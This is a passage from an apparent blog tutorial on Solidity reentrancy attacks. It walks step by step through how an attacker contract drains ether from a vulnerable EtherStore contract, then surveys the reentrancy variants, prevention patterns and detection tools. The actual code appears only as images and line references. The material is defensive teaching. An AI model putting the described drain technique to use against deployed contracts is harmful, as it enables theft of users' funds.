The attacker would then call the pwnEtherStore() function, with some amount of ether (greater than or equal to 1), let’s say 1 ether for this example. Assume a number of other users have deposited ether into this contract, such that it’s current balance is 10 ether. The following would then occur:

  1. Attack.sol – Line [15] – The depositFunds() function of the EtherStore contract will be called with a msg.value of 1 ether (and a lot of gas). The sender (msg.sender) will be the malicious contract (address). Thus, balances[address] = 1 ether.
  2. Attack.sol – Line [17] – The malicious contract will then call the withdrawFunds() function of the EtherStore contract with a parameter of 1 ether. This will pass all the requirements (Lines [12]-[16] of the EtherStore contract) as no previous withdrawals have been made.
  3. EtherStore.sol – Line [17] – The contract will then send 1 ether back to the malicious contract.
  4. Attack.sol – Line [25] – The ether sent to the malicious contract will then execute the fallback function.
  5. Attack.sol – Line [26] – The total balance of the EtherStore contract was 10 ether and is now 9 ether so this if statement passes.
  6. Attack.sol – Line [27] – The fallback function then calls the EtherStore withdrawFunds() function again and “re-enters” the EtherStore contract.
  7. EtherStore.sol – Line [11] – In this second call to withdrawFunds(), the balance is still 1 ether as line [18] has not yet been executed. Thus, the value remains as balances[address] = 1 ether. This is also the case for the lastWithdrawTime variable. Again, all the requirements are passed.
  8. EtherStore.sol – Line [17] – Another 1 ether is withdrawn.
  9. Steps 4-8 will repeat – until EtherStore.balance >= 1 as dictated by line [26] in Attack.sol.
  10. Attack.sol – Line [26] – Once there is less than 1 ether left in the EtherStore contract, this if statement will fail. This will then allow lines [18] and [19] of the EtherStore contract to be executed (for each call to the withdrawFunds() function).
  11. EtherStore.sol – Lines [18] and [19] – The balances and lastWithdrawTime mappings will be set and the execution will end.

The final result, is that the attacker has withdrawn all ether from the EtherStore contract, instantaneously with a single transaction.

Types of reentrancy attacks

There are three main types of reentrancy attacks: single function reentrancy, cross-function reentrancy and cross-contract reentrancy.

Single Function Reentrancy

This type of attack is the simplest and easiest to prevent. It occurs when the vulnerable function is the same function the attacker is trying to recursively call.

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks
Image 5: Single Function Reentrancy

Since the user’s balance is not set to 0 until the very end of the function, the second (and later) invocations will still succeed and will withdraw the balance over and over again.

In the example given, the best way to prevent this attack is to make sure an external function is not called until all the required internal work has been completed:

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks
Image 6: Single Function Reentrancy Fixed

Note that if another function also called withdrawBalance(), it would be potentially subject to the same attack, so any function which calls an untrusted contract must also be treated as untrusted. 

Cross-function Reentrancy

These attacks are harder to detect. A cross-function reentrancy attack is possible when a vulnerable function shares state with another function that has a desirable effect for the attacker.

Image 7: Cross-function Reentrancy

In this case, the attacker calls transfer() when their code is executed on the external call in withdrawBalance. Since their balance has not yet been set to 0, they are able to transfer the tokens even though they already received the withdrawal. The same solutions will work, with the same caveats. Also note that in this example, both functions were part of the same contract. However, the same bug can occur across multiple contracts, if those contracts share state.

Cross-contract Reentrancy

Cross-contract reentrancy can happen when the state from one contract is used in another contract, but that state is not fully updated before getting called.

The conditions required for the cross-contract reentrancy to be possible are as follows:

  • The execution flow can be controlled by the attacker to manipulate the contract state.
  • The value of the state in the contract is shared or used in another contract.

More Examples of the Vulnerability

More examples of this vulnerability can be found on my github:  https://github.com/ylevalle/SolidityReentrancy

Preventative Techniques

There are a number of common techniques which help avoid potential reentrancy vulnerabilities in smart contracts:

  • For the first two variations, Single Function Reentrancy and Cross-Function Reentrancy, a mutex lock can be implemented in the contract to prevent the functions in the same contract from being called repeatedly, thus, preventing reentrancy. A widely used method to implement the lock is inheriting OpenZeppelin’s ReentrancyGuard and use the nonReentrant modifier.
  • Another solution is to check and try updating all states before calling for external contracts, or the so-called “Checks-Effects-Interactions” pattern. This way, even when a reentrant calling is initiated, no impact can be made since all states have finished updating.
  • An alternative choice is to prevent the attacker from taking over the control flow of the contract. A set of whitelisted addresses can prevent the attacker from injecting unknown malicious contracts into the contract.
  • Another technique is pull payment, that achieves security by sending funds via an intermediary escrow and avoiding direct contact with potentially hostile contracts.
  • Finally, gas limits can prevent reentrancy attacks, but this should not be considered a security strategy as gas costs are dependent on Ethereum’s opcodes, which are subject to change. Smart contract code, on the other hand, is immutable. Regardless, it is worth knowing the difference between the functions: sendtransfer, and call. Functions send and transfer are essentially the same, but transfer will revert if the transaction fails, whereas send will not. In regard to reentrancy, send and transfer both have gas limits of 2300 units. Using these functions should prevent a reentrancy attack from occurring because this is not enough gas to recursively call back into the origin function to exploit funds.

Nevertheless, the contracts that integrate with other contracts, especially when the states are shared, should be checked in detail to make sure that the states used are correct and cannot be manipulated.

Detection Techniques

In general, a detailed manual inspection of the smart contracts code is what is needed to detect reentrancy vulnerabilities. But some of the smart contracts security tools like MythX and Mythril, can also help detecting reentrancy bugs, with the following limitations:

  • These detection tools analyze the smart contract code based on predefined attack patterns, and if the patterns match any part in the code, then the tools discover the vulnerability. Thus, these approaches mainly rely on complete patterns and the specific quality of these patterns.
  • The patterns these solutions rely on are based on the observation of the previous attacks and known vulnerabilities, which makes them limited and difficult to generalize.
  • All the solutions are only applicable before the deployment of smart contracts. This means once the smart contract is deployed on the Ethereum network, these solutions cannot prevent reentrancy attacks and cannot detect the attacker.
  • If a new reentrancy pattern is introduced after the deployment of the smart contracts, these solutions need to be updated; otherwise, they will not be able to detect the new attack patterns.

However, there are projects and researches about static analysis tools and frameworks that, given a contract’s source code, can identify functions vulnerable to reentrancy attacks. At a high level, these tools parse contract source code to extract particular keywords such as global variables and modifiers, tokenize the source code of each function in the contract, and feed embedded representations of these tokens through a model which classifies the function as reentrant or safe.


Smart Contract Vulnerabilities


Further Reading


Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

GitHub

Telegram: https://t.me/cryptodeeptech

Video: https://youtu.be/lqjsHB2r6gU

Source: https://cryptodeeptools.ru/solidity-forcibly-send-ether-vulnerability


Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

]]>